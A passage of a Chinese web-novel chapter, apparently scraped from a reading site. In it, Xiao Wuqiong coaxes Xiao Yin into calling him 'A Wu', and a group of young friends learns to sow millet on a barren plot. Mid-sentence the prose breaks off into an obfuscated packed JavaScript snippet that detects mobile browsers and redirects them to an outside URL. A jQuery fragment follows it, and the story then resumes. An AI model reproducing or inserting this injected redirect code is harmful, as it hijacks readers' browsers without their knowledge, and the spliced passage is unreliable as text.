回去的路静得出奇,晚风卷着草木的清香漫过来,缠在两人衣角。
萧无穷走在身侧,他忽然停下脚步,转头看向萧音:“姐姐,有件事,你一定不知道。”
萧音愣了愣,回头望他:“什么事?”
“其实我比你大一岁,我们第一次见面时,我已经十二岁了。按道理说,我不该再叫你姐姐了。”
萧音脚步微顿,十二岁,不是十岁。那便是五年,不是三年。
还好,他没有待在自己身边的安稳日子,比她以为的更长些。
还好,是多了两年的光。
没等她细想,萧无穷又开口道,“所以,姐姐以后……不能再以‘姐姐’自居了。”
萧音被他突如其来的话噎了一下,故意板起脸,语气带着点嗔怪,“你这胆子是越来越大了,这是连我这个姐姐都不认了?”
“不是这样的。”他立刻摇头,语气染上脆弱,喉结滚了滚,像是揭开了不愿提及的伤疤,“以前家中也有个长姐,她总欺负我,所以我……不太喜欢‘姐姐’‘弟弟’这样的称呼。”
他刻意放缓了语速,观察着萧音的神色,见她眼底浮起不忍,才继续道:“我不是不认你,只是……每次这么叫的时候,我都会想起以前……以前孤零零被欺负的日子。”
萧音果然软了心,紧张道:“是……是这样吗?你怎么以前不说呢,不喜欢那就不叫。你喜欢什么,想叫什么都可以的,或者你想让我叫就什么?”
“袅袅。”他抬眼望她,眸光亮得像盛了星子,“姐姐以后,就叫我阿无,好吗?”
“阿无?”萧音愣了愣,“你以前不是不喜欢这个称呼吗?”
他轻轻摇头,唇角勾起一抹浅淡却真切的笑:“现在喜欢了。”
那天,外祖父临行前执他之手,沉声道“是‘梧’,凤栖梧桐之梧,吾孙乃嫡长子,当承宗庙、安社稷,护佑宗族昌荣。”
他心中清明,父亲口中的一直都是“五”,从不是外祖父期许的“梧”。
两个名字,一个承载过重,一个过分随意。
无论是“五”还是“梧”他都不喜欢。
他喜欢“无”,无忧无虑的无,无所不有的无。
更是是她曾无数次脱口而出的“阿无”。
“那好吧,阿无。”她笑着应下。
“袅袅。”他立刻唤了一声,带着几分刻意的亲昵。
萧音却皱了皱眉,有点别扭:“怎么感觉怪怪的?”
“哪里怪了?”他故作无辜。
“说不上来,就是觉得不对劲。”
“名字不怪,我也不怪。”他放缓了语气,眼底满是认真,“是袅袅听得太少了,适应适应就好。”
“是这样吗?”
“是啊。”他轻笑,“袅袅叫我阿无的时候,我听着也觉得怪,但袅袅叫着怪吗?”
“不怪。”萧音下意识摇头,毕竟每次她闯了祸,都是这么没心没肺唤他的。
“那就对了。”他脚步放慢,与她并肩,语气笃定,“就是听太少了。你以后多叫我阿无,我多叫你袅袅,听着听着,就习惯了。”
萧音望着他眼底的认真,他的话她总是深信不疑的,萧音茅塞顿开:“说的有道理,多听几次,总会习惯的。”
晚风掠过,将两人的脚步声叠在一起,萧音低头自顾自的轻唤着“阿无”,却没看见萧无穷眼底一闪而过的志在必得。
从十二岁那年黏上她衣角开始,到现在有六年了。
他无比清楚,他要的,不是一个“姐姐”的身份。
******
凌逸晓踩着满脚的荒草,看着眼前光秃秃的地,火气“噌”地就上来了:“萧音!你信里写得十万火急,说有天大的事叫我们来,合着就是让我们给你当种地?”
萧音往萧无穷身后一缩,脑袋探出来吗,“这么说不就生分了,什么你的地,我的地,这是我们的地!”
“你还真会说啊!”凌逸晓皮笑肉不笑,攥着拳头就要冲过去。
萧音手脚麻利地躲到萧无穷另一侧,还不忘补了句:“我要是直说叫你们来种地,你能乖乖过来吗?”
“你还有理了!”凌逸晓气得磨牙,绕着萧无穷就追了上去。
谢孟瀚、楚风、叶羽和萧无穷四个少年站在原地,像四根笔直的人体柱子,眼睁睁看着萧音和凌逸晓围着他们俩你追我赶,尘土都被踩得飞了起来。
谢孟瀚不解开口,“我记得府衙分配荒地的名单里,可没你的名字。”
萧音跑得上气不接下气,躲在叶羽身后喘着说:“我那天去府衙找玩,听见张叔叔念叨,说这块地在鹊翘路尽头,偏得很,土又贫瘠,种庄稼十有八九收成不好,分给谁都觉得过意不去。我一听就把它要来了!”
“你会种?”谢孟瀚挑眉,“张大人就这么给你了?”
“我当然……”,萧音眨眨眼,现代社会种地早就靠机器了,我们这辈人哪有几个真下过地的,她一脸理所当然:“不会!不过这次运来的粟种比预期多出来不少,我们开垦的荒地也的广,王叔叔说,就当给我找个乐子玩了。”
“败家啊。”
“所以我才把你们都叫来了呀!”萧音笑得狡黠,“不是我一个人败家,是我们六个一起‘败’。”
谢孟瀚气得深吸了好几口气,闭目凝神,缓缓吐纳了三息,自我开导:我饱读圣贤书,今科探花郎,当守君子之礼,切不可为俗事动怒,不生气,不生气……
“你们俩,可以了。”叶羽的声音响起,带着不容置疑的沉稳,让追逐的两人停了下来。他直奔主题:“现在的问题是,我们之中谁会播种?”
谢孟瀚和萧无穷不约而同地摇了摇头。
楚风站在旁边,手指悄悄攥着衣角,看着两人摇头,犹豫了几秒,才小声开口:“我…我会。”
“楚大哥,还好有你!”萧音立刻捧场。
凌逸晓收起了火气,冷不丁冒出一句:“我也会。”
萧音满脸的不可置信,凑到他跟前上下打量:“你?凌大少爷?”
凌逸晓没接话,径直走到堆放粟种的竹筐边,拿起一把木耧。
少年身形挺拔,握着木耧的手却很稳,他弯腰拨开表层的硬土,露出底下相对松软的土层,脚轻轻踩着耧柄,手腕一扬,金黄的粟种就顺着耧脚的孔洞,均匀地撒进了开好的浅沟里。
动作不算特别娴熟,甚至带着几分生疏。撒完一行,他直起身,顺手拿起锄头,小心翼翼地将旁边的土拨回沟里,盖住种子,力道刚好,既不会压得太紧,也不会让种子暴露在外。
萧音看得目瞪口呆,“我天,少爷你也会下地干这种粗活?”
凌逸晓沉默着,阳光斜斜铺在他的侧脸上,也映
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16733713|184451||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出眼底一闪而过的晦涩。半晌,他在心里呢喃,“这少爷的身份,可不是打娘胎里就带着的。”
萧音跑回去,“我们这里有两个会的,这样的话,一个人带两个不就好了。”
叶羽点点头,“有会的就好,我们现学现干,楚兄,劳烦你多指点大家。”
楚风偷眼瞥了眼围在自己身边的几人,他们都沉静地等着他开口。
“我…我也没教过人…”他声音细弱,脸颊悄悄发烫。
萧无穷道:“没关系,你怎么做,我们跟着学就好。”
楚风深吸一口气,弯腰指尖轻轻捻起一把粟种,那点生疏的紧张忽然淡了些。
种田,他从小做惯了,就像吃饭喝水一样自然。
“先开沟,”他声音比刚才大了些,拿起锄头示范,手臂扬起又落下,力道拿捏得恰到好处,“沟要浅,两指宽、三寸深就够,太深种子发不了芽,太浅容易被鸟啄走。”
锄头划过土地,带出湿润的泥土气息,他的动作流畅又熟练,完全没了平时的拘谨。
谢孟瀚跟着模仿,锄头下去却挖深了,楚风连忙上前,轻轻按住他的手腕:“知府大人,力道轻一点,这样…对,顺着土的纹理来。”
指尖触到对方的手腕,他发觉唐突,下意识想缩回来,可看到谢孟瀚认真点头的样子,那点退缩忽然就不见了。
萧音拿着木耧乱晃,粟种撒得满地都是,楚风走过去,耐心地帮她调整握耧的姿势:“手要扶稳耧柄,往前推的时候慢慢摇,种子才会均匀。”他一边说,一边带着她走了一小段,金黄的粟种顺着孔洞,整齐地落在沟里。萧音眼睛一亮:“楚大哥,我会了!你教得好清楚!”
那句夸赞像颗小石子,在楚风心里漾开圈圈涟漪。
好像他们也没有什么了不起,好像一切都不一样了。
“盖土的时候别太用力,轻轻覆上就行,不然种子透不过气。”
“这行撒得有点密,下次少放些种子。”
“这边的沟开得正好,照着这个来就行。”
他穿梭在田埂间,看到谁动作不对就主动上前指点,语气从容又耐心。
回应他的是一声声真心的夸赞。
楚风渐渐也笑了起来。那笑容不是平时那种腼腆的、带着不自然的笑,而是舒展的、发自内心的。
萧音一边学着撒种,一边叽叽喳喳地说:“等秋天粟子熟了,我们就把收的粮食分出去,我要让所有人都知道这是我种出来的!”
“想得倒美,”凌逸晓哼了一声,嘴角却忍不住上扬,“先种出来再说吧。”
谢孟瀚扶了扶额,无奈又好笑:“希望到时候真能有收成,不然我们这‘败家’的名声可就坐实了。”
萧无穷眼底带着温和的笑意,手里的动作也没停。
萧音直起身,看了看他们一起努力的成果,“这可是我们的地,现在我们一起种的,等秋天收的时候我们也要一起,你们一个也跑不了。”
然后她转头看向楚风,热情异常,“楚大哥,到时候还得多依靠你了”
“好。”少年的声音不再像以前那样细弱,带着一种自信,眼角眉梢都舒展开来,是那种发自内心的快乐和轻松。
阳光越发明媚,风一吹,带着泥土和粟种的清香,少年们的身影在田地里移动,笑声、说话声,在鹊翘路的尽头,久久回荡。